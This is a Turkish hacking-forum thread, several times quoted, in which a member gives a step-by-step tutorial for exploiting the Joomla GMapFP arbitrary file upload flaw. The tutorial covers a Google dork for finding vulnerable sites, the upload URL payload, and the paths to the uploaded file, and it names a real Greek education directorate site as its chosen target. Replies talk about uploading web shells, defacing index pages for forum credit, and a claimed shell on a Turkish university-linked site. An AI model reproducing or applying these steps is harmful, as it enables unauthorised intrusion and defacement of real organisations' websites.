Web Site Hackleme | Basit File Upluoad

Bu açıkla shell yüklemesi yapmayı denedin mi dostum?

hocam index çakaydık.

GECEYARASA' Alıntı:

Merhaba Değerli Türk Hack Team üyeleri Ben GECEYARASA, Basit File Upluoad Konusunu Anlatıcam
Basit Site Hackleme #1

ilk olarak bir exploit buluyoruz mesela;

Joomla GMapFP J3.5 / J3.5F Arbitrary File Upload - CXSecurity.com

thelastvvv has realised a new security note Joomla GMapFP J3.5 / J3.5F Arbitrary File Upload

cxsecurity.com

Google Dorkumuzu Exploit tarayıcımızda aratıyoruz

inurl:''com_gmapfp''



* Ülke Domain Uzantıları yazabilirsiniz ve sadece o ülkeye ait siteler karşınıza çıkar.

" Örnek site:gr site:.br "
" inurl:''com_gmapfp''site:gr "



SİTEYİ SEÇTİM

ΣΧΟΛΕΙΑ ΠΕΥΚΗΣ - ΑΜΑΡΟΥΣΙΟΥ

Διεύθυνση Δευτεροβάθμιας Εκπαίδευσης Β΄ Αθήνας Διευθυνση Δευτεροβαθμιας Εκπαιδευσης Β Αθήνας

dide-v-ath.gr

Bu Kısmı Silin

Linkimizin " index.php?option=com_gmapfp&view=gmapfplist&Itemid=247 " bu kısmını siliyoruz.

Exploitimizi çalıştırıyoruz.
Şimdi payloadı yapıştırıcaz.

" index.php?option=com_gmapfp&controller=editlieux&tmpl=component&task=edit_upload "

" ΔΙΕΥΘΥΝΣΗ ΔΕΥΤΕΡΟΒΑΘΜΙΑΣ ΕΚΠΑΙΔΕΥΣΗΣ Β' ΑΘΗΝΑΣ " Linkimizin sonuna yapıştırıyoruz.


Böyle olucak şekilde ayarlayalım

ΔΙΕΥΘΥΝΣΗ ΔΕΥΤΕΡΟΒΑΘΜΙΑΣ ΕΚΠΑΙΔΕΥΣΗΣ Β' ΑΘΗΝΑΣ

Διεύθυνση Δευτεροβάθμιας Εκπαίδευσης Β΄ Αθήνας Διευθυνση Δευτεροβαθμιας Εκπαιδευσης Β Αθήνας

dide-v-ath.gr

Dosya seç diyoruz resmimi atıyoruz

Upluod the picture dedikten sonra hata alıcaz bu doğru yaptığımızı gösterir.



index.php kısmını ve sonrasını silip alttaki linkleri yapıştırıp " dosyaismi " kısmına yüklediğiniz resmin ismini " jpg " kısmına uzantısını yazıyoruz.

images/stories/gmapfp/dosyaismi.jpg
images/stories/gmapfp/dosyaismi.jpg
images/gmapfp/dosyaismi.jpg
images/gmapfp/dosyaismi.jpg


​

Genişletmek için tıkla ...

yapılabilir fakat gövde açık olsa bile bu siteler kabul edilmez : Dünyaca ünlü markalar ve yüksek önem taşıyan devlet/kurum siteleri dışında Upload açığı , Reflected XSS gibi zararsız açıklar ile alınan zoneler değerlendirmeye alınmayacaktır.

GökBörü.' Alıntı:

yapılabilir fakat gövde açık olsa bile bu siteler kabul edilmez : Dünyaca ünlü markalar ve yüksek önem taşıyan devlet/kurum siteleri dışında Upload açığı , Reflected XSS gibi zararsız açıklar ile alınan zoneler değerlendirmeye alınmayacaktır.

Genişletmek için tıkla ...

basit upload açığı diyorsunuz da bu basit dediğin açık baş yarar.
YÖK'e bağlı bir site de aynı açığı yakaladım kendi shell dosyamı attım o filtre geçilebilir.
(mail atıp durumu bildirmiştim.)

icehead' Alıntı:

basit upload açığı diyorsunuz da bu basit dediğin açık baş yarar.
YÖK'e bağlı bir site de aynı açığı yakaladım kendi shell dosyamı attım o filtre geçilebilir.
(mail atıp durumu bildirmiştim.)

Genişletmek için tıkla ...

bunu ben demiyorum kardeşim gövde gösterisi kuralları diyor
o kısmı okumanı tavsiye ederim.

Eline sağlık.

GökBörü.' Alıntı:

bunu ben demiyorum kardeşim gövde gösterisi kuralları diyor
o kısmı okumanı tavsiye ederim.

Genişletmek için tıkla ...

saçmaymış o zaman ne diyim

icehead' Alıntı:

saçmaymış o zaman ne diyim

Genişletmek için tıkla ...

buyrun admin olun siz yapın kuralları o zaman

Eline saglık dostum

Eline sağlık başarılar

GECEYARASA' Alıntı:

Merhaba Değerli Türk Hack Team üyeleri Ben GECEYARASA, Basit File Upluoad Konusunu Anlatıcam
Basit Site Hackleme #1

ilk olarak bir exploit buluyoruz mesela;

Joomla GMapFP J3.5 / J3.5F Arbitrary File Upload - CXSecurity.com

thelastvvv has realised a new security note Joomla GMapFP J3.5 / J3.5F Arbitrary File Upload

cxsecurity.com

Google Dorkumuzu Exploit tarayıcımızda aratıyoruz

inurl:''com_gmapfp''



* Ülke Domain Uzantıları yazabilirsiniz ve sadece o ülkeye ait siteler karşınıza çıkar.

" Örnek site:gr site:.br "
" inurl:''com_gmapfp''site:gr "



SİTEYİ SEÇTİM

ΣΧΟΛΕΙΑ ΠΕΥΚΗΣ - ΑΜΑΡΟΥΣΙΟΥ

Διεύθυνση Δευτεροβάθμιας Εκπαίδευσης Β΄ Αθήνας Διευθυνση Δευτεροβαθμιας Εκπαιδευσης Β Αθήνας

dide-v-ath.gr

Bu Kısmı Silin

Linkimizin " index.php?option=com_gmapfp&view=gmapfplist&Itemid=247 " bu kısmını siliyoruz.

Exploitimizi çalıştırıyoruz.
Şimdi payloadı yapıştırıcaz.

" index.php?option=com_gmapfp&controller=editlieux&tmpl=component&task=edit_upload "

" ΔΙΕΥΘΥΝΣΗ ΔΕΥΤΕΡΟΒΑΘΜΙΑΣ ΕΚΠΑΙΔΕΥΣΗΣ Β' ΑΘΗΝΑΣ " Linkimizin sonuna yapıştırıyoruz.


Böyle olucak şekilde ayarlayalım

ΔΙΕΥΘΥΝΣΗ ΔΕΥΤΕΡΟΒΑΘΜΙΑΣ ΕΚΠΑΙΔΕΥΣΗΣ Β' ΑΘΗΝΑΣ

Διεύθυνση Δευτεροβάθμιας Εκπαίδευσης Β΄ Αθήνας Διευθυνση Δευτεροβαθμιας Εκπαιδευσης Β Αθήνας

dide-v-ath.gr

Dosya seç diyoruz resmimi atıyoruz

Upluod the picture dedikten sonra hata alıcaz bu doğru yaptığımızı gösterir.



index.php kısmını ve sonrasını silip alttaki linkleri yapıştırıp " dosyaismi " kısmına yüklediğiniz resmin ismini " jpg " kısmına uzantısını yazıyoruz.

images/stories/gmapfp/dosyaismi.jpg
images/stories/gmapfp/dosyaismi.jpg
images/gmapfp/dosyaismi.jpg
images/gmapfp/dosyaismi.jpg


​

Genişletmek için tıkla ...

Ellerine saglik

'Gustavo' Alıntı:

Bu açıkla shell yüklemesi yapmayı denedin mi dostum?

Genişletmek için tıkla ...

derslerimde olması lazım konu uzun olmaması için eklemedim #2 eklerim onuda

icehead' Alıntı:

hocam index çakaydık.

Genişletmek için tıkla ...

hocam url konusunda yanılma olmasın diye en basit yöntemiyle anlattım isteyen index de çakar

Alexxb' Alıntı:

Eline sağlık.

Genişletmek için tıkla ...

teşekkürler

GökBörü.' Alıntı:

yapılabilir fakat gövde açık olsa bile bu siteler kabul edilmez : Dünyaca ünlü markalar ve yüksek önem taşıyan devlet/kurum siteleri dışında Upload açığı , Reflected XSS gibi zararsız açıklar ile alınan zoneler değerlendirmeye alınmayacaktır.

Genişletmek için tıkla ...

merakı olup en baştan başlamak isteyenler için iyi bir giriş onun harici ummadık yerden neler çıkar hocam ama dediğiniz gibi kayda değer değiller tabi ki

'Lase' Alıntı:

Eline saglık dostum

Genişletmek için tıkla ...

teşekkürler

JohnWick51' Alıntı:

Ellerine saglik

Genişletmek için tıkla ...

teşekkürler

ɴᴜʟʟ' Alıntı:

Eline sağlık başarılar

Genişletmek için tıkla ...

teşekkür ederim hocam

GECEYARASA' Alıntı:

Merhaba Değerli Türk Hack Team üyeleri Ben GECEYARASA, Basit File Upluoad Konusunu Anlatıcam
Basit Site Hackleme #1

ilk olarak bir exploit buluyoruz mesela;

Joomla GMapFP J3.5 / J3.5F Arbitrary File Upload - CXSecurity.com

thelastvvv has realised a new security note Joomla GMapFP J3.5 / J3.5F Arbitrary File Upload

cxsecurity.com

Google Dorkumuzu Exploit tarayıcımızda aratıyoruz

inurl:''com_gmapfp''



* Ülke Domain Uzantıları yazabilirsiniz ve sadece o ülkeye ait siteler karşınıza çıkar.

" Örnek site:gr site:.br "
" inurl:''com_gmapfp''site:gr "



SİTEYİ SEÇTİM

ΣΧΟΛΕΙΑ ΠΕΥΚΗΣ - ΑΜΑΡΟΥΣΙΟΥ

Διεύθυνση Δευτεροβάθμιας Εκπαίδευσης Β΄ Αθήνας Διευθυνση Δευτεροβαθμιας Εκπαιδευσης Β Αθήνας

dide-v-ath.gr

Bu Kısmı Silin

Linkimizin " index.php?option=com_gmapfp&view=gmapfplist&Itemid=247 " bu kısmını siliyoruz.

Exploitimizi çalıştırıyoruz.
Şimdi payloadı yapıştırıcaz.

" index.php?option=com_gmapfp&controller=editlieux&tmpl=component&task=edit_upload "

" ΔΙΕΥΘΥΝΣΗ ΔΕΥΤΕΡΟΒΑΘΜΙΑΣ ΕΚΠΑΙΔΕΥΣΗΣ Β' ΑΘΗΝΑΣ " Linkimizin sonuna yapıştırıyoruz.


Böyle olucak şekilde ayarlayalım

ΔΙΕΥΘΥΝΣΗ ΔΕΥΤΕΡΟΒΑΘΜΙΑΣ ΕΚΠΑΙΔΕΥΣΗΣ Β' ΑΘΗΝΑΣ

Διεύθυνση Δευτεροβάθμιας Εκπαίδευσης Β΄ Αθήνας Διευθυνση Δευτεροβαθμιας Εκπαιδευσης Β Αθήνας

dide-v-ath.gr

Dosya seç diyoruz resmimi atıyoruz

Upluod the picture dedikten sonra hata alıcaz bu doğru yaptığımızı gösterir.



index.php kısmını ve sonrasını silip alttaki linkleri yapıştırıp " dosyaismi " kısmına yüklediğiniz resmin ismini " jpg " kısmına uzantısını yazıyoruz.

images/stories/gmapfp/dosyaismi.jpg
images/stories/gmapfp/dosyaismi.jpg
images/gmapfp/dosyaismi.jpg
images/gmapfp/dosyaismi.jpg


​

Genişletmek için tıkla ...

Eline sağlık ben bunu bir deniyeyim

eline sağlık

GECEYARASA' Alıntı:

merakı olup en baştan başlamak isteyenler için iyi bir giriş onun harici ummadık yerden neler çıkar hocam ama dediğiniz gibi kayda değer değiller tabi ki

Genişletmek için tıkla ...

Heh sonunda anlayan birisi çıktı ben dedimki orda sadece gövde açık olsaydı kabul edilmezdi yoksa tabi ummadık taş baş yarar nerelerden nasıl configler çıktı

---

Eline sağlık

Eline sağlık, güzel anlatım.

Eline Sağlık.

MuammerCan' Alıntı:

eline sağlık

Genişletmek için tıkla ...

teşekkürler